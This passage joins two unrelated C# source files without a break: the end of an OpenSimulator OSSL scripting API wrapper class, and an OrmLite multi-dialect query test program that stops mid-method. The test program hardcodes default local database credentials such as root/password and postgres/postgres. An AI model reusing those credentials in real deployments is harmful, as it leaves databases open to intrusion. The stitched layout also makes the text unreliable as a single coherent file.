alpha, face); } public LSL_Float osGetTerrainHeight(int x, int y) { return m_OSSL_Functions.osGetTerrainHeight(x, y); } // Deprecated public LSL_Float osTerrainGetHeight(int x, int y) { return m_OSSL_Functions.osTerrainGetHeight(x, y); } public LSL_Integer osSetTerrainHeight(int x, int y, double val) { return m_OSSL_Functions.osSetTerrainHeight(x, y, val); } // Deprecated public LSL_Integer osTerrainSetHeight(int x, int y, double val) { return m_OSSL_Functions.osTerrainSetHeight(x, y, val); } public void osTerrainFlush() { m_OSSL_Functions.osTerrainFlush(); } public int osRegionRestart(double seconds) { return m_OSSL_Functions.osRegionRestart(seconds); } public void osRegionNotice(string msg) { m_OSSL_Functions.osRegionNotice(msg); } public bool osConsoleCommand(string Command) { return m_OSSL_Functions.osConsoleCommand(Command); } public void osSetParcelMediaURL(string url) { m_OSSL_Functions.osSetParcelMediaURL(url); } public void osSetParcelSIPAddress(string SIPAddress) { m_OSSL_Functions.osSetParcelSIPAddress(SIPAddress); } public void osSetPrimFloatOnWater(int floatYN) { m_OSSL_Functions.osSetPrimFloatOnWater(floatYN); } // Teleport Functions public void osTeleportAgent(string agent, string regionName, vector position, vector lookat) { m_OSSL_Functions.osTeleportAgent(agent, regionName, position, lookat); } public void osTeleportAgent(string agent, int regionX, int regionY, vector position, vector lookat) { m_OSSL_Functions.osTeleportAgent(agent, regionX, regionY, position, lookat); } public void osTeleportAgent(string agent, vector position, vector lookat) { m_OSSL_Functions.osTeleportAgent(agent, position, lookat); } public void osTeleportOwner(string regionName, vector position, vector lookat) { m_OSSL_Functions.osTeleportOwner(regionName, position, lookat); } public void osTeleportOwner(int regionX, int regionY, vector position, vector lookat) { m_OSSL_Functions.osTeleportOwner(regionX, regionY, position, lookat); } public void osTeleportOwner(vector position, vector lookat) { m_OSSL_Functions.osTeleportOwner(position, lookat); } // Avatar info functions public string osGetAgentIP(string agent) { return m_OSSL_Functions.osGetAgentIP(agent); } public LSL_List osGetAgents() { return m_OSSL_Functions.osGetAgents(); } // Animation Functions public void osAvatarPlayAnimation(string avatar, string animation) { m_OSSL_Functions.osAvatarPlayAnimation(avatar, animation); } public void osAvatarStopAnimation(string avatar, string animation) { m_OSSL_Functions.osAvatarStopAnimation(avatar, animation); } #region Attachment commands public void osForceAttachToAvatar(int attachmentPoint) { m_OSSL_Functions.osForceAttachToAvatar(attachmentPoint); } public void osForceAttachToAvatarFromInventory(string itemName, int attachmentPoint) { m_OSSL_Functions.osForceAttachToAvatarFromInventory(itemName, attachmentPoint); } public void osForceAttachToOtherAvatarFromInventory(string rawAvatarId, string itemName, int attachmentPoint) { m_OSSL_Functions.osForceAttachToOtherAvatarFromInventory(rawAvatarId, itemName, attachmentPoint); } public void osForceDetachFromAvatar() { m_OSSL_Functions.osForceDetachFromAvatar(); } public LSL_List osGetNumberOfAttachments(LSL_Key avatar, LSL_List attachmentPoints) { return m_OSSL_Functions.osGetNumberOfAttachments(avatar, attachmentPoints); } public void osMessageAttachments(LSL_Key avatar, string message, LSL_List attachmentPoints, int flags) { m_OSSL_Functions.osMessageAttachments(avatar, message, attachmentPoints, flags); } #endregion // Texture Draw functions public string osMovePen(string drawList, int x, int y) { return m_OSSL_Functions.osMovePen(drawList, x, y); } public string osDrawLine(string drawList, int startX, int startY, int endX, int endY) { return m_OSSL_Functions.osDrawLine(drawList, startX, startY, endX, endY); } public string osDrawLine(string drawList, int endX, int endY) { return m_OSSL_Functions.osDrawLine(drawList, endX, endY); } public string osDrawText(string drawList, string text) { return m_OSSL_Functions.osDrawText(drawList, text); } public string osDrawEllipse(string drawList, int width, int height) { return m_OSSL_Functions.osDrawEllipse(drawList, width, height); } public string osDrawRectangle(string drawList, int width, int height) { return m_OSSL_Functions.osDrawRectangle(drawList, width, height); } public string osDrawFilledRectangle(string drawList, int width, int height) { return m_OSSL_Functions.osDrawFilledRectangle(drawList, width, height); } public string osDrawPolygon(string drawList, LSL_List x, LSL_List y) { return m_OSSL_Functions.osDrawPolygon(drawList, x, y); } public string osDrawFilledPolygon(string drawList, LSL_List x, LSL_List y) { return m_OSSL_Functions.osDrawFilledPolygon(drawList, x, y); } public string osSetFontSize(string drawList, int fontSize) { return m_OSSL_Functions.osSetFontSize(drawList, fontSize); } public string osSetFontName(string drawList, string fontName) { return m_OSSL_Functions.osSetFontName(drawList, fontName); } public string osSetPenSize(string drawList, int penSize) { return m_OSSL_Functions.osSetPenSize(drawList, penSize); } public string osSetPenCap(string drawList, string direction, string type) { return m_OSSL_Functions.osSetPenCap(drawList, direction, type); } public string osSetPenColor(string drawList, string color) { return m_OSSL_Functions.osSetPenColor(drawList, color); } // Deprecated public string osSetPenColour(string drawList, string colour) { return m_OSSL_Functions.osSetPenColour(drawList, colour); } public string osDrawImage(string drawList, int width, int height, string imageUrl) { return m_OSSL_Functions.osDrawImage(drawList, width, height, imageUrl); } public vector osGetDrawStringSize(string contentType, string text, string fontName, int fontSize) { return m_OSSL_Functions.osGetDrawStringSize(contentType, text, fontName, fontSize); } public void osSetStateEvents(int events) { m_OSSL_Functions.osSetStateEvents(events); } public string osGetScriptEngineName() { return m_OSSL_Functions.osGetScriptEngineName(); } public LSL_Integer osCheckODE() { return m_OSSL_Functions.osCheckODE(); } public string osGetPhysicsEngineType() { return m_OSSL_Functions.osGetPhysicsEngineType(); } public string osGetSimulatorVersion() { return m_OSSL_Functions.osGetSimulatorVersion(); } public Hashtable osParseJSON(string JSON) { return m_OSSL_Functions.osParseJSON(JSON); } public Object osParseJSONNew(string JSON) { return m_OSSL_Functions.osParseJSONNew(JSON); } public void osMessageObject(key objectUUID,string message) { m_OSSL_Functions.osMessageObject(objectUUID,message); } public void osMakeNotecard(string notecardName, LSL_Types.list contents) { m_OSSL_Functions.osMakeNotecard(notecardName, contents); } public string osGetNotecardLine(string name, int line) { return m_OSSL_Functions.osGetNotecardLine(name, line); } public string osGetNotecard(string name) { return m_OSSL_Functions.osGetNotecard(name); } public int osGetNumberOfNotecardLines(string name) { return m_OSSL_Functions.osGetNumberOfNotecardLines(name); } public string osAvatarName2Key(string firstname, string lastname) { return m_OSSL_Functions.osAvatarName2Key(firstname, lastname); } public string osKey2Name(string id) { return m_OSSL_Functions.osKey2Name(id); } public string osGetGridNick() { return m_OSSL_Functions.osGetGridNick(); } public string osGetGridName() { return m_OSSL_Functions.osGetGridName(); } public string osGetGridLoginURI() { return m_OSSL_Functions.osGetGridLoginURI(); } public string osGetGridHomeURI() { return m_OSSL_Functions.osGetGridHomeURI(); } public string osGetGridGatekeeperURI() { return m_OSSL_Functions.osGetGridGatekeeperURI(); } public string osGetGridCustom(string key) { return m_OSSL_Functions.osGetGridCustom(key); } public LSL_String osFormatString(string str, LSL_List strings) { return m_OSSL_Functions.osFormatString(str, strings); } public LSL_List osMatchString(string src, string pattern, int start) { return m_OSSL_Functions.osMatchString(src, pattern, start); } public LSL_String osReplaceString(string src, string pattern, string replace, int count, int start) { return m_OSSL_Functions.osReplaceString(src,pattern,replace,count,start); } // Information about data loaded into the region public string osLoadedCreationDate() { return m_OSSL_Functions.osLoadedCreationDate(); } public string osLoadedCreationTime() { return m_OSSL_Functions.osLoadedCreationTime(); } public string osLoadedCreationID() { return m_OSSL_Functions.osLoadedCreationID(); } public LSL_List osGetLinkPrimitiveParams(int linknumber, LSL_List rules) { return m_OSSL_Functions.osGetLinkPrimitiveParams(linknumber, rules); } public void osForceCreateLink(string target, int parent) { m_OSSL_Functions.osForceCreateLink(target, parent); } public void osForceBreakLink(int linknum) { m_OSSL_Functions.osForceBreakLink(linknum); } public void osForceBreakAllLinks() { m_OSSL_Functions.osForceBreakAllLinks(); } public LSL_Integer osIsNpc(LSL_Key npc) { return m_OSSL_Functions.osIsNpc(npc); } public key osNpcCreate(string user, string name, vector position, key cloneFrom) { return m_OSSL_Functions.osNpcCreate(user, name, position, cloneFrom); } public key osNpcCreate(string user, string name, vector position, key cloneFrom, int options) { return m_OSSL_Functions.osNpcCreate(user, name, position, cloneFrom, options); } public key osNpcSaveAppearance(key npc, string notecard) { return m_OSSL_Functions.osNpcSaveAppearance(npc, notecard); } public void osNpcLoadAppearance(key npc, string notecard) { m_OSSL_Functions.osNpcLoadAppearance(npc, notecard); } public LSL_Key osNpcGetOwner(LSL_Key npc) { return m_OSSL_Functions.osNpcGetOwner(npc); } public vector osNpcGetPos(LSL_Key npc) { return m_OSSL_Functions.osNpcGetPos(npc); } public void osNpcMoveTo(key npc, vector position) { m_OSSL_Functions.osNpcMoveTo(npc, position); } public void osNpcMoveToTarget(key npc, vector target, int options) { m_OSSL_Functions.osNpcMoveToTarget(npc, target, options); } public rotation osNpcGetRot(key npc) { return m_OSSL_Functions.osNpcGetRot(npc); } public void osNpcSetRot(key npc, rotation rot) { m_OSSL_Functions.osNpcSetRot(npc, rot); } public void osNpcStopMoveToTarget(LSL_Key npc) { m_OSSL_Functions.osNpcStopMoveToTarget(npc); } public void osNpcSay(key npc, string message) { m_OSSL_Functions.osNpcSay(npc, message); } public void osNpcSay(key npc, int channel, string message) { m_OSSL_Functions.osNpcSay(npc, channel, message); } public void osNpcShout(key npc, int channel, string message) { m_OSSL_Functions.osNpcShout(npc, channel, message); } public void osNpcSit(LSL_Key npc, LSL_Key target, int options) { m_OSSL_Functions.osNpcSit(npc, target, options); } public void osNpcStand(LSL_Key npc) { m_OSSL_Functions.osNpcStand(npc); } public void osNpcRemove(key npc) { m_OSSL_Functions.osNpcRemove(npc); } public void osNpcPlayAnimation(LSL_Key npc, string animation) { m_OSSL_Functions.osNpcPlayAnimation(npc, animation); } public void osNpcStopAnimation(LSL_Key npc, string animation) { m_OSSL_Functions.osNpcStopAnimation(npc, animation); } public void osNpcWhisper(key npc, int channel, string message) { m_OSSL_Functions.osNpcWhisper(npc, channel, message); } public void osNpcTouch(LSL_Key npcLSL_Key, LSL_Key object_key, LSL_Integer link_num) { m_OSSL_Functions.osNpcTouch(npcLSL_Key, object_key, link_num); } public LSL_Key osOwnerSaveAppearance(string notecard) { return m_OSSL_Functions.osOwnerSaveAppearance(notecard); } public LSL_Key osAgentSaveAppearance(LSL_Key agentId, string notecard) { return m_OSSL_Functions.osAgentSaveAppearance(agentId, notecard); } public OSSLPrim Prim; [Serializable] public class OSSLPrim { internal ScriptBaseClass OSSL; public OSSLPrim(ScriptBaseClass bc) { OSSL = bc; Position = new OSSLPrim_Position(this); Rotation = new OSSLPrim_Rotation(this); } public OSSLPrim_Position Position; public OSSLPrim_Rotation Rotation; private TextStruct _text; public TextStruct Text { get { return _text; } set { _text = value; OSSL.llSetText(_text.Text, _text.color, _text.alpha); } } [Serializable] public struct TextStruct { public string Text; public LSL_Types.Vector3 color; public double alpha; } } [Serializable] public class OSSLPrim_Position { private OSSLPrim prim; private LSL_Types.Vector3 Position; public OSSLPrim_Position(OSSLPrim _prim) { prim = _prim; } private void Load() { Position = prim.OSSL.llGetPos(); } private void Save() { /* Remove temporarily until we have a handle to the region size if (Position.x > ((int)Constants.RegionSize - 1)) Position.x = ((int)Constants.RegionSize - 1); if (Position.y > ((int)Constants.RegionSize - 1)) Position.y = ((int)Constants.RegionSize - 1); */ if (Position.z > Constants.RegionHeight) Position.z = Constants.RegionHeight; if (Position.x < 0) Position.x = 0; if (Position.y < 0) Position.y = 0; if (Position.z < 0) Position.z = 0; prim.OSSL.llSetPos(Position); } public double x { get { Load(); return Position.x; } set { Load(); Position.x = value; Save(); } } public double y { get { Load(); return Position.y; } set { Load(); Position.y = value; Save(); } } public double z { get { Load(); return Position.z; } set { Load(); Position.z = value; Save(); } } } [Serializable] public class OSSLPrim_Rotation { private OSSLPrim prim; private LSL_Types.Quaternion Rotation; public OSSLPrim_Rotation(OSSLPrim _prim) { prim = _prim; } private void Load() { Rotation = prim.OSSL.llGetRot(); } private void Save() { prim.OSSL.llSetRot(Rotation); } public double x { get { Load(); return Rotation.x; } set { Load(); Rotation.x = value; Save(); } } public double y { get { Load(); return Rotation.y; } set { Load(); Rotation.y = value; Save(); } } public double z { get { Load(); return Rotation.z; } set { Load(); Rotation.z = value; Save(); } } public double s { get { Load(); return Rotation.s; } set { Load(); Rotation.s = value; Save(); } } } public key osGetMapTexture() { return m_OSSL_Functions.osGetMapTexture(); } public key osGetRegionMapTexture(string regionName) { return m_OSSL_Functions.osGetRegionMapTexture(regionName); } public LSL_List osGetRegionStats() { return m_OSSL_Functions.osGetRegionStats(); } public vector osGetRegionSize() { return m_OSSL_Functions.osGetRegionSize(); } /// <summary> /// Returns the amount of memory in use by the Simulator Daemon. /// Amount in bytes - if >= 4GB, returns 4GB. (LSL is not 64-bit aware) /// </summary> /// <returns></returns> public LSL_Integer osGetSimulatorMemory() { return m_OSSL_Functions.osGetSimulatorMemory(); } public void osKickAvatar(string FirstName,string SurName,string alert) { m_OSSL_Functions.osKickAvatar(FirstName, SurName, alert); } public void osSetSpeed(string UUID, LSL_Float SpeedModifier) { m_OSSL_Functions.osSetSpeed(UUID, SpeedModifier); } public LSL_Float osGetHealth(string avatar) { return m_OSSL_Functions.osGetHealth(avatar); } public void osCauseDamage(string avatar, double damage) { m_OSSL_Functions.osCauseDamage(avatar, damage); } public void osCauseHealing(string avatar, double healing) { m_OSSL_Functions.osCauseHealing(avatar, healing); } public void osForceOtherSit(string avatar) { m_OSSL_Functions.osForceOtherSit(avatar); } public void osForceOtherSit(string avatar, string target) { m_OSSL_Functions.osForceOtherSit(avatar, target); } public LSL_List osGetPrimitiveParams(LSL_Key prim, LSL_List rules) { return m_OSSL_Functions.osGetPrimitiveParams(prim, rules); } public void osSetPrimitiveParams(LSL_Key prim, LSL_List rules) { m_OSSL_Functions.osSetPrimitiveParams(prim, rules); } public void osSetProjectionParams(bool projection, LSL_Key texture, double fov, double focus, double amb) { m_OSSL_Functions.osSetProjectionParams(projection, texture, fov, focus, amb); } public void osSetProjectionParams(LSL_Key prim, bool projection, LSL_Key texture, double fov, double focus, double amb) { m_OSSL_Functions.osSetProjectionParams(prim, projection, texture, fov, focus, amb); } public LSL_List osGetAvatarList() { return m_OSSL_Functions.osGetAvatarList(); } public LSL_String osUnixTimeToTimestamp(long time) { return m_OSSL_Functions.osUnixTimeToTimestamp(time); } public LSL_String osGetInventoryDesc(string item) { return m_OSSL_Functions.osGetInventoryDesc(item); } public LSL_Integer osInviteToGroup(LSL_Key agentId) { return m_OSSL_Functions.osInviteToGroup(agentId); } public LSL_Integer osEjectFromGroup(LSL_Key agentId) { return m_OSSL_Functions.osEjectFromGroup(agentId); } public void osSetTerrainTexture(int level, LSL_Key texture) { m_OSSL_Functions.osSetTerrainTexture(level, texture); } public void osSetTerrainTextureHeight(int corner, double low, double high) { m_OSSL_Functions.osSetTerrainTextureHeight(corner, low, high); } public LSL_Integer osIsUUID(string thing) { return m_OSSL_Functions.osIsUUID(thing); } public LSL_Float osMin(double a, double b) { return m_OSSL_Functions.osMin(a, b); } public LSL_Float osMax(double a, double b) { return m_OSSL_Functions.osMax(a, b); } public LSL_Key osGetRezzingObject() { return m_OSSL_Functions.osGetRezzingObject(); } public void osSetContentType(LSL_Key id, string type) { m_OSSL_Functions.osSetContentType(id,type); } public void osDropAttachment() { m_OSSL_Functions.osDropAttachment(); } public void osForceDropAttachment() { m_OSSL_Functions.osForceDropAttachment(); } public void osDropAttachmentAt(vector pos, rotation rot) { m_OSSL_Functions.osDropAttachmentAt(pos, rot); } public void osForceDropAttachmentAt(vector pos, rotation rot) { m_OSSL_Functions.osForceDropAttachmentAt(pos, rot); } public LSL_Integer osListenRegex(int channelID, string name, string ID, string msg, int regexBitfield) { return m_OSSL_Functions.osListenRegex(channelID, name, ID, msg, regexBitfield); } public LSL_Integer osRegexIsMatch(string input, string pattern) { return m_OSSL_Functions.osRegexIsMatch(input, pattern); } } }
using System; using System.Linq; using System.ComponentModel.DataAnnotations; using System.Collections.Generic; using System.Data; using ServiceStack.Common.Utils; using ServiceStack.DataAnnotations; using ServiceStack.Common.Extensions; using ServiceStack.OrmLite; namespace AllDialectsTest { class MainClass { private static List<Dialect> dialects; private static List<Author> authors; public static void Main(string[] args) { bool exit=false; dialects = BuildDialectList(); authors = BuildAuthorList(); PaintMenu(); while (!exit) { Console.WriteLine("Select your option [{0}-{1}] or q to quit and press ENTER", 1, dialects.Count); string option = Console.ReadLine(); if (string.IsNullOrEmpty(option)) Console.WriteLine("NO VALID OPTION"); else if (option.ToUpper() == "Q") exit = true; else { int opt; if (int.TryParse(option, out opt)) { if (opt >= 1 && opt <= dialects.Count) TestDialect(dialects[opt - 1]); else { Console.WriteLine("NO VALID OPTION"); } } else Console.WriteLine("NO VALID OPTION"); } } } private static void PaintMenu() { Console.Clear(); int i=0; foreach (Dialect d in dialects) { Console.WriteLine("{0} {1}", ++i, d.Name); } Console.WriteLine("q quit"); } private static List<Dialect> BuildDialectList() { List<Dialect> l = new List<Dialect>(); Dialect d = new Dialect() { Name = "Sqlite", PathToAssembly = "../../../ServiceStack.OrmLite.Sqlite/bin/Debug", AssemblyName = "ServiceStack.OrmLite.Sqlite.dll", ClassName = "ServiceStack.OrmLite.Sqlite.SqliteOrmLiteDialectProvider", InstanceFieldName = "Instance", ConnectionString = "~/db.sqlite".MapAbsolutePath() }; l.Add(d); d = new Dialect() { Name = "SqlServer", PathToAssembly = "../../../ServiceStack.OrmLite.SqlServer/bin/Debug", AssemblyName = "ServiceStack.OrmLite.SqlServer.dll", ClassName = "ServiceStack.OrmLite.SqlServer.SqlServerOrmLiteDialectProvider", InstanceFieldName = "Instance", ConnectionString = "~/test.mdf".MapAbsolutePath() }; l.Add(d); d = new Dialect() { Name = "MySql", PathToAssembly = "../../../ServiceStack.OrmLite.MySql/bin/Debug", AssemblyName = "ServiceStack.OrmLite.MySql.dll", ClassName = "ServiceStack.OrmLite.MySql.MySqlDialectProvider", InstanceFieldName = "Instance", ConnectionString = "Server = 127.0.0.1; Database = ormlite; Uid = root; Pwd = password" }; l.Add(d); d = new Dialect() { Name = "PostgreSQL", PathToAssembly = "../../../ServiceStack.OrmLite.PostgreSQL/bin/Debug", AssemblyName = "ServiceStack.OrmLite.PostgreSQL.dll", ClassName = "ServiceStack.OrmLite.PostgreSQL.PostgreSQLDialectProvider", InstanceFieldName = "Instance", ConnectionString = "Server=localhost;Port=5432;User Id=postgres; Password=postgres; Database=ormlite" }; l.Add(d); d = new Dialect() { Name = "FirebirdSql", PathToAssembly = "../../../ServiceStack.OrmLite.Firebird/bin/Debug", AssemblyName = "ServiceStack.OrmLite.Firebird.dll", ClassName = "ServiceStack.OrmLite.Firebird.FirebirdOrmLiteDialectProvider", InstanceFieldName = "Instance", ConnectionString = "User=SYSDBA;Password=masterkey;Database=employee.fdb;DataSource=localhost;Dialect=3;charset=ISO8859_1;" }; l.Add(d); d = new Dialect() { Name = "Oracle", PathToAssembly = "../../../ServiceStack.OrmLite.Oracle/bin/Debug", AssemblyName = "ServiceStack.OrmLite.Oracle.dll", ClassName = "ServiceStack.OrmLite.Oracle.OracleOrmLiteDialectProvider", InstanceFieldName = "Instance", ConnectionString = "Data Source=localhost:1521/XE;User ID=servicestack_test;Password=servicestack_test;Unicode=True" }; l.Add(d); return l; } private static List<Author> BuildAuthorList() { List<Author> a = new List<Author>(); a.Add(new Author() { Name = "Demis Bellot", Birthday = DateTime.Today.AddYears(-20), Active = true, Earnings = 99.9m, Comments = "CSharp books", Rate = 10, City = "London" }); a.Add(new Author() { Name = "Angel Colmenares", Birthday = DateTime.Today.AddYears(-25), Active = true, Earnings = 50.0m, Comments = "CSharp books", Rate = 5, City = "Bogota" }); a.Add(new Author() { Name = "Adam Witco", Birthday = DateTime.Today.AddYears(-20), Active = true, Earnings = 80.0m, Comments = "Math Books", Rate = 9, City = "London" }); a.Add(new Author() { Name = "Claudia Espinel", Birthday = DateTime.Today.AddYears(-23), Active = true, Earnings = 60.0m, Comments = "Cooking books", Rate = 10, City = "Bogota" }); a.Add(new Author() { Name = "Libardo Pajaro", Birthday = DateTime.Today.AddYears(-25), Active = true, Earnings = 80.0m, Comments = "CSharp books", Rate = 9, City = "Bogota" }); a.Add(new Author() { Name = "Jorge Garzon", Birthday = DateTime.Today.AddYears(-28), Active = true, Earnings = 70.0m, Comments = "CSharp books", Rate = 9, City = "Bogota" }); a.Add(new Author() { Name = "Alejandro Isaza", Birthday = DateTime.Today.AddYears(-20), Active = true, Earnings = 70.0m, Comments = "Java books", Rate = 0, City = "Bogota" }); a.Add(new Author() { Name = "Wilmer Agamez", Birthday = DateTime.Today.AddYears(-20), Active = true, Earnings = 30.0m, Comments = "Java books", Rate = 0, City = "Cartagena" }); a.Add(new Author() { Name = "Rodger Contreras", Birthday = DateTime.Today.AddYears(-25), Active = true, Earnings = 90.0m, Comments = "CSharp books", Rate = 8, City = "Cartagena" }); a.Add(new Author() { Name = "Chuck Benedict", Birthday = DateTime.Today.AddYears(-22), Active = true, Earnings = 85.5m, Comments = "CSharp books", Rate = 8, City = "London" }); a.Add(new Author() { Name = "James Benedict II", Birthday = DateTime.Today.AddYears(-22), Active = true, Earnings = 85.5m, Comments = "Java books", Rate = 5, City = "Berlin" }); a.Add(new Author() { Name = "Ethan Brown", Birthday = DateTime.Today.AddYears(-20), Active = true, Earnings = 45.0m, Comments = "CSharp books", Rate = 5, City = "Madrid" }); a.Add(new Author() { Name = "Xavi Garzon", Birthday = DateTime.Today.AddYears(-22), Active = true, Earnings = 75.0m, Comments = "CSharp books", Rate = 9, City = "Madrid" }); a.Add(new Author() { Name = "Luis garzon", Birthday = DateTime.Today.AddYears(-22), Active = true, Earnings = 85.0m, Comments = "CSharp books", Rate = 10, City = "Mexico", LastActivity= DateTime.Today }); return a; } private static void TestDialect(Dialect dialect) { Console.Clear(); Console.WriteLine("Testing expressions for Dialect {0}", dialect.Name); OrmLiteConfig.ClearCache(); OrmLiteConfig.DialectProvider = dialect.DialectProvider; SqlExpressionVisitor<Author> ev = OrmLiteConfig.DialectProvider.ExpressionVisitor<Author>(); using (IDbConnection db = dialect.ConnectionString.OpenDbConnection()) { try { db.DropTable<Author>(); var tableExists = OrmLiteConfig.DialectProvider.DoesTableExist(db, typeof(Author).Name); Console.WriteLine("Expected:{0} Selected:{1} {2}", bool.FalseString, tableExists.ToString(), !tableExists ? "OK" : "************** FAILED ***************"); db.CreateTable<Author>(); tableExists = OrmLiteConfig.DialectProvider.DoesTableExist(db, typeof(Author).Name); Console.WriteLine("Expected:{0} Selected:{1} {2}", bool.TrueString, tableExists.ToString(), tableExists ? "OK" : "************** FAILED ***************"); db.DeleteAll<Author>(); Console.WriteLine("Inserting..."); DateTime t1= DateTime.Now; db.InsertAll(authors); DateTime t2= DateTime.Now; Console.WriteLine("Inserted {0} rows in {1}", authors.Count, t2 - t1); Console.WriteLine("Selecting....."); int year = DateTime.Today.AddYears(-20).Year; var lastDay= new DateTime(year, 12, 31); int expected=5; ev.Where().Where(rn => rn.Birthday >= new DateTime(year, 1, 1) && rn.Birthday <= lastDay); Console.WriteLine(ev.ToSelectStatement()); List<Author> result=db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(qry => qry.Where(rn => rn.Birthday >= new DateTime(year, 1, 1) && rn.Birthday <= lastDay)); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => rn.Birthday >= new DateTime(year, 1, 1) && rn.Birthday <= lastDay); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); Author a = new Author() { Birthday = lastDay }; result = db.Select<Author>(rn => rn.Birthday >= new DateTime(year, 1, 1) && rn.Birthday <= a.Birthday); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // select authors from London, Berlin and Madrid : 6 expected = 6; //Sql.In can take params object[] var city="Berlin"; ev.Where().Where(rn => Sql.In(rn.City, "London", "Madrid", city)); //clean prev result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => Sql.In(rn.City, new[] { "London", "Madrid", "Berlin" })); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // select authors from Bogota and Cartagena : 7 expected = 7; //... or Sql.In can take List<Object> city = "Bogota"; List<Object> cities= new List<Object>(); cities.Add(city); cities.Add("Cartagena"); ev.Where().Where(rn => Sql.In(rn.City, cities)); result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => Sql.In(rn.City, "Bogota", "Cartagena")); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // select authors which name starts with A expected = 3; ev.Where().Where(rn => rn.Name.StartsWith("A")); result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => rn.Name.StartsWith("A")); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // select authors which name ends with Garzon o GARZON o garzon ( no case sensitive ) expected = 3; var name="GARZON"; ev.Where().Where(rn => rn.Name.ToUpper().EndsWith(name)); result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => rn.Name.ToUpper().EndsWith(name)); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // select authors which name ends with garzon //A percent symbol ("%") in the LIKE pattern matches any sequence of zero or more characters //in the string. //An underscore ("_") in the LIKE pattern matches any single character in the string. //Any other character matches itself or its lower/upper case equivalent (i.e. case-insensitive matching). expected = 3; ev.Where().Where(rn => rn.Name.EndsWith("garzon")); result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => rn.Name.EndsWith("garzon")); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // select authors which name contains Benedict expected = 2; name = "Benedict"; ev.Where().Where(rn => rn.Name.Contains(name)); result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => rn.Name.Contains("Benedict")); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); a.Name = name; result = db.Select<Author>(rn => rn.Name.Contains(a.Name)); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // select authors with Earnings <= 50 expected = 3; var earnings=50; ev.Where().Where(rn => rn.Earnings <= earnings); result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => rn.Earnings <= 50); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // select authors with Rate = 10 and city=Mexio expected = 1; city = "Mexico"; ev.Where().Where(rn => rn.Rate == 10 && rn.City == city); result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); result = db.Select<Author>(rn => rn.Rate == 10 && rn.City == "Mexico"); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); a.City = city; result = db.Select<Author>(rn => rn.Rate == 10 && rn.City == a.City); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); // enough selecting, lets update; // set Active=false where rate =0 expected = 2; var rate=0; ev.Where().Where(rn => rn.Rate == rate).Update(rn => rn.Active); var rows = db.UpdateOnly(new Author() { Active = false }, ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, rows, expected == rows ? "OK" : "************** FAILED ***************"); // insert values only in Id, Name, Birthday, Rate and Active fields expected = 4; ev.Insert(rn => new { rn.Id, rn.Name, rn.Birthday, rn.Active, rn.Rate }); db.InsertOnly(new Author() { Active = false, Rate = 0, Name = "Victor Grozny", Birthday = DateTime.Today.AddYears(-18) }, ev); db.InsertOnly(new Author() { Active = false, Rate = 0, Name = "Ivan Chorny", Birthday = DateTime.Today.AddYears(-19) }, ev); ev.Where().Where(rn => !rn.Active); result = db.Select(ev); Console.WriteLine(ev.WhereExpression); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, result.Count, expected == result.Count ? "OK" : "************** FAILED ***************"); //update comment for City == null expected = 2; ev.Where().Where(rn => rn.City == null).Update(rn => rn.Comments); rows = db.UpdateOnly(new Author() { Comments = "No comments" }, ev); Console.WriteLine("Expected:{0} Selected:{1} {2}", expected, rows, expected == rows ? "OK" : "************** FAILED ***************"); 